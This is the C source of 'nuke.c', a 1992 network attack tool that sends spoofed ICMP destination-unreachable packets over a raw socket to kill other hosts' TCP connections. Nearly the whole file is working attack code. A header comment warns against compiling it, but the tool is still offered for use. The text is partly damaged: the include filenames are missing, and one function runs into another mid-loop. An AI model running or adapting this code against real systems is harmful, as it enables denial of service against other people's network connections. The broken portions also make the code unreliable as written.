nuke.c


/*
 *  nuke.c version 1.0 04/25/92
 *    by Satanic Mechanic.
 *
 *  must be root to open raw sockets. this version will kill
 *  almost any ip connection.
 *  ----------------------------------------------------------------
 *  I strongly advise against even compiling this software. It's far
 *  too dangerous, and the temptation may be there to do some real
 *  damage with it.  Read and learn, that's it, eh?  -concerned
 *  ----------------------------------------------------------------
 *
 */

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define DEFAULT_UNREACH ICMP_UNREACH_PORT

char *icmp_unreach_type[] = {
    "net",
    "host",
    "protocol",
    "port",
    "frag",
    "source",
    "destnet",
    "desthost",
    "isolated",
    "authnet",
    "authhost",
    "netsvc",
    "hostsvc"
};

#define MAX_ICMP_UNREACH (sizeof(icmp_unreach_type)/sizeof(char *))

int resolve_unreach_type(arg)
    char *arg;
{
    int i;

    for (i=0; i sin_family = AF_INET;
    if (inet_addr(host) == -1) {
        ent = gethostbyname(host);
        if (ent != NULL) {
            sa->sin_family = ent->h_addrtype;
            bcopy(ent->h_addr,(caddr_t)&sa->sin_addr,ent->h_length);
            return(0);
        }
        else {
            fprintf(stderr,"error: unknown host %s\n",host);
            return(-1);
        }
    }
    return(0);
}

in_cksum(addr, len)             /* from ping.c */
u_short *addr;
int len;
{
        register int nleft = len;
        register u_short *w = addr;
        register int sum = 0;
        u_short answer = 0;

        /*
         *  Our algorithm is simple, using a 32 bit accumulator (sum),
         *  we add sequential 16 bit words to it, and at the end, fold
         *  back all the carry bits from the top 16 bits into the lower
         *  16 bits.
         */
        while( nleft > 1 )  {
                sum += *w++;
                nleft -= 2;
        }

        /* mop up an odd byte, if necessary */
        if( nleft == 1 ) {
                *(u_char *)(&answer) = *(u_char *)w ;
                sum += answer;
        }

        /*
         * add back carry outs from top 16 bits to low 16 bits
         */
        sum = (sum >> 16) + (sum & 0xffff);     /* add hi 16 to low 16 */
        sum += (sum >> 16);                     /* add carry */
        answer = ~sum;                          /* truncate to 16 bits */
        return (answer);
}

int icmp_unreach(host,uhost,port,type)
     char *host,*uhost;
     int type,port;
{
    struct sockaddr_in name;
    struct sockaddr dest,uspoof;
    struct icmp *mp;
    struct tcphdr *tp;
    struct protoent *proto;

    int i,s,rc;
    char *buf = (char *) malloc(sizeof(struct icmp)+64);
    mp = (struct icmp *) buf;
    if (resolve_host(host,&dest) <0) return(-1);
    if (resolve_host(uhost,&uspoof) <0) return(-1);
    if ((proto = getprotobyname("icmp")) == NULL) {
        fputs("unable to determine protocol number of \"icmp\n",stderr);
        return(-1);
    }
    if ((s = socket(AF_INET,SOCK_RAW,proto->p_proto)) <0 ) {
        perror("opening raw socket");
        return(-1);
    }

    /* Assign it to a port */
    name.sin_family = AF_INET;
    name.sin_addr.s_addr = INADDR_ANY;
    name.sin_port = htons(port);

    /* Bind it to the port */
    rc = bind(s, (struct sockaddr *) & name, sizeof(name));
    if (rc == -1) {
      perror("bind");
      return(-1);
    }

    if ((proto = getprotobyname("tcp")) == NULL) {
        fputs("unable to determine protocol number of \"icmp\n",stderr);
        return(-1);
    }

    /* the following messy stuff from Adam Glass (icmpsquish.c) */
    bzero(mp,sizeof(struct icmp)+64);
    mp->icmp_type = ICMP_UNREACH;
    mp->icmp_code = type;
    mp->icmp_ip.ip_v = IPVERSION;
    mp->icmp_ip.ip_hl = 5;
    mp->icmp_ip.ip_len = htons(sizeof(struct ip)+64+20);
    mp->icmp_ip.ip_p = IPPROTO_TCP;
    mp->icmp_ip.ip_src = ((struct sockaddr_in *) &dest)->sin_addr;
    mp->icmp_ip.ip_dst = ((struct sockaddr_in *) &uspoof)->sin_addr;
    mp->icmp_ip.ip_ttl = 179;
    mp->icmp_cksum = 0;
    tp = (struct tcphdr *)   ((char *) &mp->icmp_ip+sizeof(struct ip));
    tp->th_sport = 23;
    tp->th_dport = htons(port);
    tp->th_seq = htonl(0x275624F2);
    mp->icmp_cksum = htons(in_cksum(mp,sizeof(struct icmp)+64));
    if ((i= sendto(s,buf,sizeof(struct icmp)+64, 0,&dest,sizeof(dest))) <0 ) {
        perror("sending icmp packet");
        return(-1);
    }
    return(0);
}

void main(argc,argv)
     int argc;
     char **argv;
{
    int i, type;

    if ((argc <4) || (argc >5)) {
        fprintf(stderr,"usage: nuke host uhost port [unreach_type]\n");
        exit(1);
    }

    if (argc == 4) type = DEFAULT_UNREACH;
    else type = resolve_unreach_type(argv[4]);

    if ((type <0) ||(type >MAX_ICMP_UNREACH)) {
        fputs("invalid unreachable type",stderr);
        exit(1);
    }
    if (icmp_unreach(argv[1],argv[2],atoi(argv[3]),type) <0) exit(1);
    exit(0);
}


Go BACK!